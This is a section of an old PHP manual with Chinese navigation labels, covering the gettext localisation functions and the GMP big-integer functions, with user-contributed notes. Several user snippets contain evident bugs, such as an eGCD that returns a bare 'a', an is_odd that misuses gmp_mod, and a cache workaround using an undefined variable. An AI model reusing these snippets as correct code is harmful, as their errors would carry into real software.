dcgettext

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

dcgettext -- Overrides the domain for a single lookup

Description

string dcgettext ( string domain, string message, int category )

This function allows you to override the current domain for a single message lookup. It also allows you to specify a category.

See also gettext().

add a note add a note User Contributed Notes
zak at nucleus dot com
04-Dec-2000 07:05
The category argument allows a specific category of the locale settings to be used for fetching a message.  Valid categories are:

LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES and LC_ALL.

Note that the category must be specified with a numeric value, instead of the constant name.  The values are:

LC_CTYPE        0
LC_NUMERIC      1
LC_TIME        2
LC_COLLATE      3
LC_MONETARY    4
LC_MESSAGES    5
LC_ALL          6
add a note add a note

后退 | 起点 | 前进
bindtextdomain | 上一级 | dcngettext


dcngettext

(PHP 4 >= 4.2.0, PHP 5)

dcngettext -- Plural version of dcgettext

Description

string dcngettext ( string domain, string msgid1, string msgid2, int n, int category )

This function allows you to override the current domain for a single plural message lookup. It also allows you to specify a category.

See also ngettext().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dcgettext | 上一级 | dgettext


dgettext

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

dgettext -- Override the current domain

Description

string dgettext ( string domain, string message )

The dgettext() function allows you to override the current domain for a single message lookup.

See also gettext().

add a note add a note User Contributed Notes
viral at noeticsolutions dot com
30-Mar-2006 06:42
While using this function, remember to call bindtextdomain for as many domains as you want to use in your application.  For example, if I have module1 and module2 as 2 separate domains in the same application, you can do the following:

bindtextdomain("module1", "//path/to/my/locale/folder");
bindtextdomain("module2", "//path/to/my/locale/folder");
textdomain("module1");

echo _("Label1"); // this call will get the message from module1
echo dgettext("module2", "Label1"); // this call will get the message from module2

===
Viral Shah
add a note add a note

后退 | 起点 | 前进
dcngettext | 上一级 | dngettext


dngettext

(PHP 4 >= 4.2.0, PHP 5)

dngettext -- Plural version of dgettext

Description

string dngettext ( string domain, string msgid1, string msgid2, int n )

The dngettext() function allows you to override the current domain for a single plural message lookup.

See also ngettext().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dgettext | 上一级 | gettext


gettext

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

gettext -- Lookup a message in the current domain

Description

string gettext ( string message )

This function returns a translated string if one is found in the translation table, or the submitted message if not found. You may use the underscore character '_' as an alias to this function.

例子 1. gettext()-check

<?php
// Set language to German
setlocale(LC_ALL, 'de_DE');

// Specify location of translation tables
bindtextdomain("myPHPApp", "./locale");

// Choose domain
textdomain("myPHPApp");

// Translation is looking for in ./locale/de_DE/LC_MESSAGES/myPHPApp.mo now

// Print a test message
echo gettext("Welcome to My PHP Application");

// Or use the alias _() for gettext()
echo _("Have a nice day");
?>

See also setlocale().

add a note add a note User Contributed Notes
vinaykuruvila at gmail dot com
04-Mar-2006 06:55
If like me, you are stuck with making a lot of code localizable, you have to go through all your php files and wrap all srings in _("string"). Here's an elisp function which can help you out.

This function enables you to highlight some text in an emacs buffer and make it a localizable string using the keyboard shortcut C-l (Ctrl and l). If the first character highlighted is " or ', then it assumes the text is in php-context and changes it to: _(HIGHLIGHTED_TEXT). Otherwise it assumes the text is in html-context and changes it to <?=_('HIGHLIGHTED_TEXT')?>

The shortcut C-k can be used for translating parts of php strings which contain html tabs. We dont want to translate the entire string including the tabs, so we highlight just the substring that needs to be translated and use C-k.

To use it, do either of:
Copy and paste the following code into your .emacs file. This would permanently associate the keyboard shortcut C-l with this function.
Save the code in a new file ending with the .el extension. Evaluate it using M-x eval-buffer. This makes the C-l keyboard shortcut only last for the current Emacs session.

Code
;author: Vinay Kuruvila March 01 2006
;updated to handle php strings containing html tabs

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within php context
(defun make-localizable-string-in-php-context(left right)
(goto-char left)
(insert "_(")
(goto-char (+ right 2))
(insert ")")
)

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within html context
(defun make-localizable-string-in-html-context(left right)
(goto-char left)
(insert "<?= _('")
(goto-char (+ right 7))
(insert "')?>")
)

;makes the highlighted text a localizable string
;uses php-context localization if the first char highlighted
;is " or '
;otherwise uses html-context localization
(defun make-localizable-string()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)

;determine php-context or html-context and dispatch
(if (or (char-equal (char-after left) ?\") (char-equal (char-after left) ?'))
(make-localizable-string-in-php-context left right)
(make-localizable-string-in-html-context left right)
)
(deactivate-mark)
)

;to handle php strings which contain html tabs
;we dont want to translate the html tabs
(defun make-localizable-string-within-php-string ()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)
(goto-char left)
(insert "\". _(\"")
(goto-char (+ right 6))
(insert "\").\"")
(deactivate-mark)
)

;assigns a keyboard shortcut
(global-set-key "\C-l" 'make-localizable-string)
(global-set-key "\C-k" 'make-localizable-string-within-php-string)
daevid at daevid dot com
19-Jan-2006 11:51
It appears that this version of gettext() is lame and doesn't support [_1] and [_2] ... modifier/parameters.

Here is a little hack around this:

<?php
function translate($string)
{
   $arg = array();
   for($i = 1 ; $i < func_num_args(); $i++)
       $arg[] = func_get_arg($i);

   return vsprintf(gettext($string), $arg);
}

$foo = 'Foo';
print translate("Found %1\$s Devices on Range %2\$s", "20", $foo)."<P>\n";
?>

To clarify, you'd put this string in your .po file:
"Found %1\$s Devices on Range %2\$s"
suchy(d)ivan(a)gmail.com
10-Dec-2005 08:35
Default behavior is name .mo file equally in every language version:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- lang.mo

--- sk_SK
------ LC_MESSAGES
--------- lang.mo
===

I think, better form is:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- en.mo

--- sk_SK
------ LC_MESSAGES
--------- sk.mo
===

Then the following code works very well (surprisingly on win32 too), and you don't need restart apache and do other confusing things:

$gettext_domain = 'sk'; // change by language
setlocale(LC_ALL, 'sk_SK.UTF-8'); // change by language, directory name sk_SK, not sk_SK.UTF-8
bindtextdomain($gettext_domain, "lang");
textdomain($gettext_domain);
bind_textdomain_codeset($gettext_domain, 'UTF-8');

Have nice day :-)
smerf(a)druid(d)if(d)uj(d)edu(d)pl
31-Oct-2005 05:38
Gettext translations are cached. If you change *.mo files your page may not be translated as expected. Here's simple workaround which does not require restarting webserver (I know, this is just a dirty hack):

<?php
function initialize_i18n($locale) {
   putenv('LANG='.$locale);
   setlocale(LC_ALL,"");
   setlocale(LC_MESSAGES,$locale);
   setlocale(LC_CTYPE,$locale);
   $domains = glob($locales_root.'/'.$locale.'/LC_MESSAGES/messages-*.mo');
   $current = basename($domains[0],'.mo');
   $timestamp = preg_replace('{messages-}i','',$current);
   bindtextdomain($current,$locales_root);
   textdomain($current);
   }
?>

to make this work you have to put your locale inside file messages-[unix_time].mo and use this name (without .mo) as your domain to fool caching mechanism (domain names differ)

msgfmt messages.po -o messages-`date +%s`.mo

for me this works fine (although this is not very elegant solution)
florent at eledo dot com
30-Aug-2005 10:05
Take care when extracting the strings from the source files : if your source files are not encoded in ascii, then xgettext must be used with the --from-code option, and the generated .po file is *always* UTF-8 (even if you used a different --from-code charset).

The usage of gettext will not work later on strings which include non ascii caracters. For make it working, you have to translate the .po file to your proper charset with msgconv.

Example :
my source files are encoded in iso-8859-1
$ xgettext --from-code=iso-8859-1 -n *.php -o myapp.po
==> myapp.po is in UTF-8 (and generated .mo files will not work with gettext).
I have to convert it to iso-8859-1 before translating :
$ msgconv --to-code=iso-8859-1 myapp.po -o myapp.po
...and now translate the file.
niels at monarch dot de
16-Mar-2005 09:17
mike-php at emerge2 dot com:

If you don't restart the webserver when messing with the .mo-files can cause in-traceable errors and can let the webserver become very unstable.

You alway want to restart your apache if you copy, move, create or modify your .mo-files! This is very important.
mike-php at emerge2 dot com
01-Mar-2005 05:45
Re: adino at adino dot sk's note about re-starting Apache before it will recognize new .mo files.

I have found that for Red Hat, (as well as Windows NT and Windows 2000 under IIS,) this is not the case. I change .mo files all the time, and haven't had to restart the web server yet.
inode bei gmx punkt de
28-Aug-2004 05:46
I use Debian and i don't know if it is obvious, but i noticed that the locale used by setenv() must also be installed in the System.

That means the .mo-Files in the ./locale Directory are not sufficient.
me at junglerat dot org
17-Jul-2003 02:24
I experienced a problem with gettext(). After restarting apache it stopped translating. I found that setting both LC_ALL, LANG and LANGUAGE solved my problem with gettext() on a standard installation of Mandrake 9.0.

Example:
<?php
....
setlocale(LC_ALL,'en_US:en');
putenv('LANG=en_US:en');
putenv('LANGUAGE=en_US:en');
...
?>
adino at adino dot sk
20-May-2003 10:23
If you 're experiencing problems like gettext() is not working and you're getting translated text only occassionaly use: unset LANG before starting apache.
Next thing is that you have to restart apache after you 've changed .mo files because they're treated something like shared libraries.
I've only tested this with Linux (Sourcemage Linux distro, Mandrake) but it might be true for others as well.
hardy at acm dot org
19-Mar-2003 01:12
After many hours of tests/debug I found this behaviour in Red Hat 7.3 (I don't  test with other versions/distros)

The i18n settings doesn't work if not exits the right country code under
/usr/lib/locale/. On my original instalation I just haved /usr/lib/locale/en* files, so after reinstall the glibc-common package the example showed here it works !.

* To force reinstall of the package

     rpm -i --force glibc-common-2.2.5-34.i386.rpm

* The working example $HOME/i18n.php

----begin----
#!/usr/bin/php
<?php
// Current locale settings
echo "Current i18n:".setlocale(LC_ALL, 0)."\n\n";

// i18n support information here
$language = 'es_ES';
$newLocale=setlocale (LC_ALL, $language);
echo "After i18n:$newLocale\n\n";

// Set the text domain as 'messages'
$domain = 'messages';
bindtextdomain($domain, "./locale");
textdomain($domain);

echo gettext("The string must be here\n");
?>
----end----

* My $HOME/locale/es_ES/LC_MESSAGES/messages.po

----begin----
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"POT-Creation-Date: 2003-03-18 10:52+0400\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=ISO-8859-1\n"
"Content-Transfer-Encoding: 8bit\n"

#: i18n.php:16
msgid "The string must be here\n"
msgstr "La cadena debe ir aqu\n"
----end----

I hope this helps to you

Thanks
Hardy Beltran Monasterios
jespersaNOSPAM at diku dot NO_SPAM dot dk
05-May-2002 08:27
There's a good tutorial to the GetText tools used with PHP at http://zez.org/article/articleview/42
The only modification I needed to do was to use the correct ISO-language/country-codes (don't know the ISO number) and call setlocale.
helloworld.php:

putenv("LC_ALL=da_DK"); // For danish/Denmark
setlocale(LC_ALL, "");

// ./locale/da/LC_MESSAGES holds the helloworld.mo file
bindtextdomain("helloworld", "./locale");
textdomain("helloworld");

print(gettext("Hello world!"));

I had a lot of trouble getting this to work on Red Hat (Yellow Dog) Linux though.
nemo at o-k-j dot de
19-Dec-2001 06:32
If you have problem to get this working, like everybody,
try it with the long version of the language parameter:

putenv ("LANG=de_DE");
iguy at ionsphere dot org
05-Mar-2001 12:18
Depending on the implementation of gettext used you might have to call the setlocale(LC_ALL, "") command.
So your example code would be
<br>

                                 <?php
                                 // Set language to German
                                 putenv ("LANG=de");

             // set the locale into the instance of gettext
           setlocale(LC_ALL, "");

                                 // Specify location of translation tables
                                 bindtextdomain ("myPHPApp", "./locale");

                                 // Choose domain
                                 textdomain ("myPHPApp");

                                 // Print a test message
                                 print (gettext ("Welcome to My PHP Application"));
                                 ?>

NOTE:  If setlocale returns NULL the LANG specified is invalid and "not supported".
add a note add a note

后退 | 起点 | 前进
dngettext | 上一级 | ngettext


ngettext

(PHP 4 >= 4.2.0, PHP 5)

ngettext -- Plural version of gettext

Description

string ngettext ( string msgid1, string msgid2, int n )

ngettext() returns correct plural form of message identified by msgid1 and msgid2 for count n. Some languages have more than one form for plural messages dependent on the count.

例子 1. ngettext() example

<?php

setlocale(LC_ALL, 'cs_CZ');
printf(ngettext("%d window", "%d windows", 1), 1); // 1 okno
printf(ngettext("%d window", "%d windows", 2), 2); // 2 okna
printf(ngettext("%d window", "%d windows", 5), 5); // 5 oken

?>

add a note add a note User Contributed Notes
nikolai dot zujev at gmail dot com
22-Mar-2006 05:36
This is an implementation for a word ending in russian lang. Also as I know polish and similar langs use same rules:

<?php
/**
 * Returns:
 *  0, if $n == 1, 21, 31, 41, ...
 *  1, if $n == 2..4, 22..24, 32..34, ...
 *  2, if $n == 5..20, 25..30, 35..40, ...
 */
function plural( $n )
{
   if ( $n % 10 == 1 && $n % 100 != 11 )
   {
       return 0;
   }

   if ( $n % 10 >= 2 && $n % 10 <= 4 && ( $n % 100 < 10 || $n % 100 >= 20 ) )
   {
       return 1;
   }

   return 2;
}

// usage
for ( $i = 0; $i < 100; $i++ )
{
   $x = plural( $i );

   printf(
       "%d %s<br/>\n", $i,
         ( 0 == $x ? '' : ( 1 == $x ? '' : '' ) )
   );
}
?>

Output:
0
1
2
3
4
5
6
7
8
9
10
...

Also here is short version:

<?php
$n = 17;
print ($n%10==1 && $n%100!=11 ? 0 : ($n%10>=2 && $n%10<=4 && ($n%100<10 || $n%100>=20) ? 1 : 2));
?>

output: 2
mike-php at emerge2 dot com
04-Nov-2004 04:53
Section 10.2.5 in the GNU gettext manual explains the ngettext function:

http://www.gnu.org/software/gettext/manual/

(Sorry, but the Add Note function prevents me from including a long URL which points right to that section of the manual.)
add a note add a note

后退 | 起点 | 前进
gettext | 上一级 | textdomain


textdomain

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

textdomain -- Sets the default domain

说明

string textdomain ( string text_domain )

This function sets the domain to search within when calls are made to gettext(), usually the named after an application.

参数

text_domain

The new message domain, or NULL to get the current setting without changing it

返回值

If successful, this function returns the current message domain, after possibly changing it.

add a note add a note User Contributed Notes
sorry at newyork dot com
30-May-2005 06:01
Hallo guys I want to ask where can I find anything about text function. Thanks for the answer.
vke at onebox dot com
15-Mar-2002 10:07
A domain is something like a word dictionary which is acting like a translation table.
bharathi at lantana dot iitm dot ernet dot in
23-Jul-2001 04:53
textdomain("myApp");
// myApp is MO file Name
add a note add a note

后退 | 起点 | 前进
ngettext | 上一级 | GMP Functions


GMP Functions

PHP 手册
后退 前进

XLIV. GMP Functions

简介

These functions allow you to work with arbitrary-length integers using the GNU MP library.

These functions have been added in PHP 4.0.4.

注: Most GMP functions accept GMP number arguments, defined as resource below. However, most of these functions will also accept numeric and string arguments, given that it is possible to convert the latter to a number. Also, if there is a faster function that can operate on integer arguments, it would be used instead of the slower function when the supplied arguments are integers. This is done transparently, so the bottom line is that you can use integers in every function that expects GMP number. See also the gmp_init() function.

警告

If you want to explicitly specify a large integer, specify it as a string. If you don't do that, PHP will interpret the integer-literal first, possibly resulting in loss of precision, even before GMP comes into play.

注: This extension is available on Windows platforms since PHP 5.1.0.

需求

You can download the GMP library from http://www.swox.com/gmp/. This site also has the GMP manual available.

You will need GMP version 2 or better to use these functions. Some functions may require more recent version of the GMP library.

安装

In order to have these functions available, you must compile PHP with GMP support by using the --with-gmp option.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

GMP_ROUND_ZERO (integer)

GMP_ROUND_PLUSINF (integer)

GMP_ROUND_MINUSINF (integer)

范例

例子 1. Factorial function using GMP

<?php
function fact($x)
{
    $return = 1;
    for ($i=2; $i < $x; $i++) {
        $return = gmp_mul($return, $i);
    }
    return $return;
}

echo gmp_strval(fact(1000)) . "\n";
?>

This will calculate factorial of 1000 (pretty big number) very fast.

参见

More mathematical functions can be found in the sections BCMath Arbitrary Precision Mathematics Functions and Mathematical Functions.

目录
gmp_abs -- Absolute value
gmp_add -- Add numbers
gmp_and -- Logical AND
gmp_clrbit -- Clear bit
gmp_cmp -- Compare numbers
gmp_com -- Calculates one's complement
gmp_div_q -- Divide numbers
gmp_div_qr -- Divide numbers and get quotient and remainder
gmp_div_r -- Remainder of the division of numbers
gmp_div -- 别名 gmp_div_q()
gmp_divexact -- Exact division of numbers
gmp_fact -- Factorial
gmp_gcd -- Calculate GCD
gmp_gcdext -- Calculate GCD and multipliers
gmp_hamdist -- Hamming distance
gmp_init -- Create GMP number
gmp_intval -- Convert GMP number to integer
gmp_invert -- Inverse by modulo
gmp_jacobi -- Jacobi symbol
gmp_legendre -- Legendre symbol
gmp_mod -- Modulo operation
gmp_mul -- Multiply numbers
gmp_neg -- Negate number
gmp_or -- Logical OR
gmp_perfect_square -- Perfect square check
gmp_popcount -- Population count
gmp_pow -- Raise number into power
gmp_powm -- Raise number into power with modulo
gmp_prob_prime -- Check if number is "probably prime"
gmp_random -- Random number
gmp_scan0 -- Scan for 0
gmp_scan1 -- Scan for 1
gmp_setbit -- Set bit
gmp_sign -- Sign of number
gmp_sqrt -- Calculate square root
gmp_sqrtrem -- Square root with remainder
gmp_strval -- Convert GMP number to string
gmp_sub -- Subtract numbers
gmp_xor -- Logical XOR

add a note add a note User Contributed Notes
richard-slater.co.uk
22-Feb-2004 05:03
For those (like me) who are trying to do bit masking with very large numbers, here is a useful function to do the work for you.

<?php
  function isBitSet($bitMask, $bitMap)
  {
   return (bool) gmp_intval(gmp_div(gmp_and($bitMask, $bitMap),$bitMask));
  }
?>
helvecio_oliveira at yahoo dot com dot br
16-Oct-2003 04:51
=============================================================
A set of very nice functions to handle IP Address with gmplib:

The best way to store a range into a database is store:
dNet ..... decimal representation of a Net
dMask .... decimal representation of a Mask

All another parameters can be calculated.

<?
/*
f_ip2dec($a) ................... IP string to decimal
f_dec2ip($a) ................... decimal to IP string

f_dec2ipall($dNet,$dMask) ...... decimal Net and Mask to an Array with several IP parameters

f_dec2cidr($a) ................. decimal Mask to CIDR

f_and($a,$b) ................... and
f_or($a,$b) .................... or
f_xor($a,$b) ................... xor
f_not($a) ...................... not
f_dec2bin($a) .................. decimal to binary string
f_bin2dec($a) .................. binary string to decimal
*/

function f_and($a,$b){
$a=gmp_init(strval($a));
$b=gmp_init(strval($b));
$d=gmp_and($a,$b);
return floatval(gmp_strval($d));
}

function f_or($a,$b){
$a=gmp_init(strval($a));
$b=gmp_init(strval($b));
$d=gmp_or($a,$b);
return floatval(gmp_strval($d));
}

function f_xor($a,$b){
$a=gmp_init(strval($a));
$b=gmp_init(strval($b));
$d=gmp_xor($a,$b);
return floatval(gmp_strval($d));
}

function f_not($a){
$a=gmp_init(strval($a));
$d=gmp_strval($a,2);
$d=str_replace("1","x",$d);
$d=str_replace("0","1",$d);
$d=str_replace("x","0",$d);
$d=gmp_init($d,2);
return floatval(gmp_strval($d,10));
}

function f_dec2bin($a){
$a=gmp_init(strval($a));
return gmp_strval($a,2);
}

function f_bin2dec($a){
$a=gmp_init(strval($a),2);
return floatval(gmp_strval($a,10));
}

function f_ip2dec($a){
$d = 0.0;
$b = explode(".", $a,4);
for ($i = 0; $i < 4; $i++) {
       $d *= 256.0;
       $d += $b[$i];
   };
return $d;
}

function f_dec2ip($a){
   $b=array(0,0,0,0);
   $c = 16777216.0;
   $a += 0.0;
   for ($i = 0; $i < 4; $i++) {
       $k = (int) ($a / $c);
       $a -= $c * $k;
       $b[$i]= $k;
       $c /=256.0;
   };
   $d=join('.', $b);
   return($d);
}

function f_dec2cidr($a){
$a=gmp_init(strval($a));
$d=strlen(str_replace("0","",gmp_strval($a,2)));
return $d;
}

function f_dec2ipall($dNet,$dMask){
  $dWildCard=f_not($dMask);
  $IpAll["Net"]=f_dec2ip($dNet);
  $IpAll["Mask"]=f_dec2ip($dMask);
  $IpAll["WildCard"]=f_dec2ip($dWildCard);
  $IpAll["Cidr"]=f_dec2cidr($dMask);
  $IpAll["Bcast"]=f_dec2ip(f_or($dNet,$dWildCard));
  $IpAll["nIp"]=$dWildCard+1;
  $IpAll["nIpUtil"]=$dWildCard-1;
  if($IpAll["nIp"] > 2){
       $IpAll["IpFrom"]=f_dec2ip($dNet+1);
       $IpAll["IpTo"]=f_dec2ip($dNet+$dWildCard-1);
  }
  else
  {
       $IpAll["IpFrom"]="-";
       $IpAll["IpTo"]="-";
       $IpAll["nIpUtil"]=0;
  }
  return $IpAll;
}

?>

=============================================================
GMP install steps in Mandrake 9.1:
----------------------------------------------------------
cp -r /usr/src/php-devel/extensions/gmp /tmp/gmp
cd /tmp/gmp
phpize
./configure
make install
echo "extension = gmp.so" > /etc/php/90_gmp.ini

Restart apache web server.
----------------------------------------------------------
gmp.so is in:
/usr/lib/php/extensions/

look in phpinfo, the string:
/etc/php/90_gmp.ini

Needs these tools:
autoconf
automake
libtool
m4
php430-devel-430-11mdk.rpm
all rpms that are envolved to run and compile gmp (*gmp*.rpm)

Some docs about self contained extensions:
/usr/share/doc/php430-devel-430/SELF-CONTAINED-EXTENSIONS
=============================================================
add a note add a note

后退 | 起点 | 前进
textdomain | 上一级 | gmp_abs


gmp_abs

(PHP 4 >= 4.0.4, PHP 5)

gmp_abs -- Absolute value

Description

resource gmp_abs ( resource a )

Returns absolute value of a.

例子 1. gmp_abs() example

<?php
$abs1 = gmp_abs("274982683358");
$abs2 = gmp_abs("-274982683358");

echo gmp_strval($abs1) . "\n";
echo gmp_strval($abs2) . "\n";
?>

The printout of the above program will be:

274982683358
274982683358

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
GMP Functions | 上一级 | gmp_add


gmp_add

(PHP 4 >= 4.0.4, PHP 5)

gmp_add -- Add numbers

Description

resource gmp_add ( resource a, resource b )

Add two GMP numbers. The result will be a GMP number representing the sum of the arguments.

例子 1. gmp_add() example

<?php
$sum = gmp_add("123456789012345", "76543210987655");
echo gmp_strval($sum) . "\n";
?>

The printout of the above program will be:

200000000000000

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_abs | 上一级 | gmp_and


gmp_and

(PHP 4 >= 4.0.4, PHP 5)

gmp_and -- Logical AND

Description

resource gmp_and ( resource a, resource b )

Calculates logical AND of two GMP numbers.

例子 1. gmp_and() example

<?php
$and1 = gmp_and("0xfffffffff4", "0x4");
$and2 = gmp_and("0xfffffffff4", "0x8");
echo gmp_strval($and1) . "\n";
echo gmp_strval($and2) . "\n";
?>

The printout of the above program will be:

4
0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_add | 上一级 | gmp_clrbit


gmp_clrbit

(PHP 4 >= 4.0.4, PHP 5)

gmp_clrbit -- Clear bit

Description

void gmp_clrbit ( resource &a, int index )

Clears (sets to 0) bit index in a. The index starts at 0.

注: Unlike most of the other GMP functions, gmp_clrbit() must be called with a GMP resource that already exists (using gmp_init() for example). One will not be automatically created.

例子 1. gmp_clrbit() example

<?php
$a = gmp_init("0xff");
gmp_clrbit($a, 0); // index starts at 0, least significant bit
echo gmp_strval($a) . "\n";
?>

The printout of the above program will be:

254

See also gmp_setbit().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_and | 上一级 | gmp_cmp


gmp_cmp

(PHP 4 >= 4.0.4, PHP 5)

gmp_cmp -- Compare numbers

Description

int gmp_cmp ( resource a, resource b )

Returns a positive value if a > b, zero if a = b and a negative value if a < b.

例子 1. gmp_cmp() example

<?php
$cmp1 = gmp_cmp("1234", "1000"); // greater than
$cmp2 = gmp_cmp("1000", "1234"); // less than
$cmp3 = gmp_cmp("1234", "1234"); // equal to

echo "$cmp1 $cmp2 $cmp3\n";
?>

The printout of the above program will be:

1 -1 0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_clrbit | 上一级 | gmp_com


gmp_com

(PHP 4 >= 4.0.4, PHP 5)

gmp_com -- Calculates one's complement

Description

resource gmp_com ( resource a )

Returns the one's complement of a.

例子 1. gmp_com() example

<?php
$com = gmp_com("1234");
echo gmp_strval($com) . "\n";
?>

The printout of the above program will be:

-1235

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_cmp | 上一级 | gmp_div_q


gmp_div_q

(PHP 4 >= 4.0.4, PHP 5)

gmp_div_q -- Divide numbers

Description

resource gmp_div_q ( resource a, resource b [, int round] )

Divides a by b and returns the integer result. The result rounding is defined by the round, which can have the following values:

  • GMP_ROUND_ZERO: The result is truncated towards 0.

  • GMP_ROUND_PLUSINF: The result is rounded towards +infinity.

  • GMP_ROUND_MINUSINF: The result is rounded towards -infinity.

This function can also be called as gmp_div().

例子 1. gmp_div_q() example

<?php
$div1 = gmp_div_q("100", "5");
echo gmp_strval($div1) . "\n";

$div2 = gmp_div_q("1", "3");
echo gmp_strval($div2) . "\n";

$div3 = gmp_div_q("1", "3", GMP_ROUND_PLUSINF);
echo gmp_strval($div3) . "\n";

$div4 = gmp_div_q("-1", "4", GMP_ROUND_PLUSINF);
echo gmp_strval($div4) . "\n";

$div5 = gmp_div_q("-1", "4", GMP_ROUND_MINUSINF);
echo gmp_strval($div5) . "\n";
?>

The printout of the above program will be:

20
0
1
0
1

See also gmp_div_r(), gmp_div_qr()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_com | 上一级 | gmp_div_qr


gmp_div_qr

(PHP 4 >= 4.0.4, PHP 5)

gmp_div_qr -- Divide numbers and get quotient and remainder

Description

array gmp_div_qr ( resource n, resource d [, int round] )

The function divides n by d and returns array, with the first element being [n/d] (the integer result of the division) and the second being (n - [n/d] * d) (the remainder of the division).

See the gmp_div_q() function for description of the round argument.

例子 1. Division of GMP numbers

<?php
$a = gmp_init("0x41682179fbf5");
$res = gmp_div_qr($a, "0xDEFE75");
printf("Result is: q - %s, r - %s",
       gmp_strval($res[0]), gmp_strval($res[1]));
?>

See also gmp_div_q(), gmp_div_r().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_div_q | 上一级 | gmp_div_r


gmp_div_r

(PHP 4 >= 4.0.4, PHP 5)

gmp_div_r -- Remainder of the division of numbers

Description

resource gmp_div_r ( resource n, resource d [, int round] )

Calculates remainder of the integer division of n by d. The remainder has the sign of the n argument, if not zero.

例子 1. gmp_div_r() example

<?php
$div = gmp_div_r("105", "20");
echo gmp_strval($div) . "\n";
?>

The printout of the above program will be:

5

See the gmp_div_q() function for description of the round argument.

See also gmp_div_q(), gmp_div_qr()

add a note add a note User Contributed Notes
Armando
25-Jan-2006 02:56
A good function to help to find if a number is odd or pair.

function is_odd($tmpnumber){

       if ($tmpnumber < '0') $tmpnumber = gmp_mod($tmpnumber);
       if ($tmpnumber == '0') return(false);
       elseif ($tmpnumber == '1') return(true);
       elseif ($tmpnumber > '1'){
   if (gmp_div_q($tmpnumber,'2') != '0') return(true);
   else return(false);
   }
}
add a note add a note

后退 | 起点 | 前进
gmp_div_qr | 上一级 | gmp_div


gmp_div

(PHP 4 >= 4.0.4, PHP 5)

gmp_div -- 别名 gmp_div_q()

说明

本函数是该函数的别名： gmp_div_q().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_div_r | 上一级 | gmp_divexact


gmp_divexact

(PHP 4 >= 4.0.4, PHP 5)

gmp_divexact -- Exact division of numbers

Description

resource gmp_divexact ( resource n, resource d )

Divides n by d, using fast "exact division" algorithm. This function produces correct results only when it is known in advance that d divides n.

例子 1. gmp_divexact() example

<?php
$div1 = gmp_divexact("10", "2");
echo gmp_strval($div1) . "\n";

$div2 = gmp_divexact("10", "3"); // bogus result
echo gmp_strval($div2) . "\n";
?>

The printout of the above program will be:

5
2863311534

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_div | 上一级 | gmp_fact


gmp_fact

(PHP 4 >= 4.0.4, PHP 5)

gmp_fact -- Factorial

Description

resource gmp_fact ( int a )

Calculates factorial (a!) of a.

例子 1. gmp_fact() example

<?php
$fact1 = gmp_fact(5); // 5 * 4 * 3 * 2 * 1
echo gmp_strval($fact1) . "\n";

$fact2 = gmp_fact(50); // 50 * 49 * 48, ... etc
echo gmp_strval($fact2) . "\n";
?>

The printout of the above program will be:

120
30414093201713378043612608166064768844377641568960512000000000000

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gmp_divexact | 上一级 | gmp_gcd


gmp_gcd

(PHP 4 >= 4.0.4, PHP 5)

gmp_gcd -- Calculate GCD

Description

resource gmp_gcd ( resource a, resource b )

Calculate greatest common divisor of a and b. The result is always positive even if either of, or both, input operands are negative.

例子 1. gmp_gcd() example

<?php
$gcd = gmp_gcd("12", "21");
echo gmp_strval($gcd) . "\n";
?>

The printout of the above program will be:

3

add a note add a note User Contributed Notes
scr02001 at student dot mdh dot se
16-Aug-2003 09:58
If you do not consier a or b as possible negative numbers, a GCD funktion may return a negative GCD, wich is NOT a greatest common divisor, therefore a funktion like this may be better. This considers the simplyfying of (-3)-(-6) where gcd on -3 and -6 would result in 3, not -3 as with the other function. (-3)-(-6) is (-1)-(-2) NOT (1)-(2)

function eGCD($a,$b){
  if($a < 0)        $a=0-$a;
  if($b < 0 )        $b=0-$b;
  if($a == 0 || $b == 0)    return 1;
  if($a == $b)              return a;

do{
  $rest=(int) $a % $b;  $a=$b; $b=$rest;
  }while($rest >0);
return $a;
}
Ludwig Heymbeeck
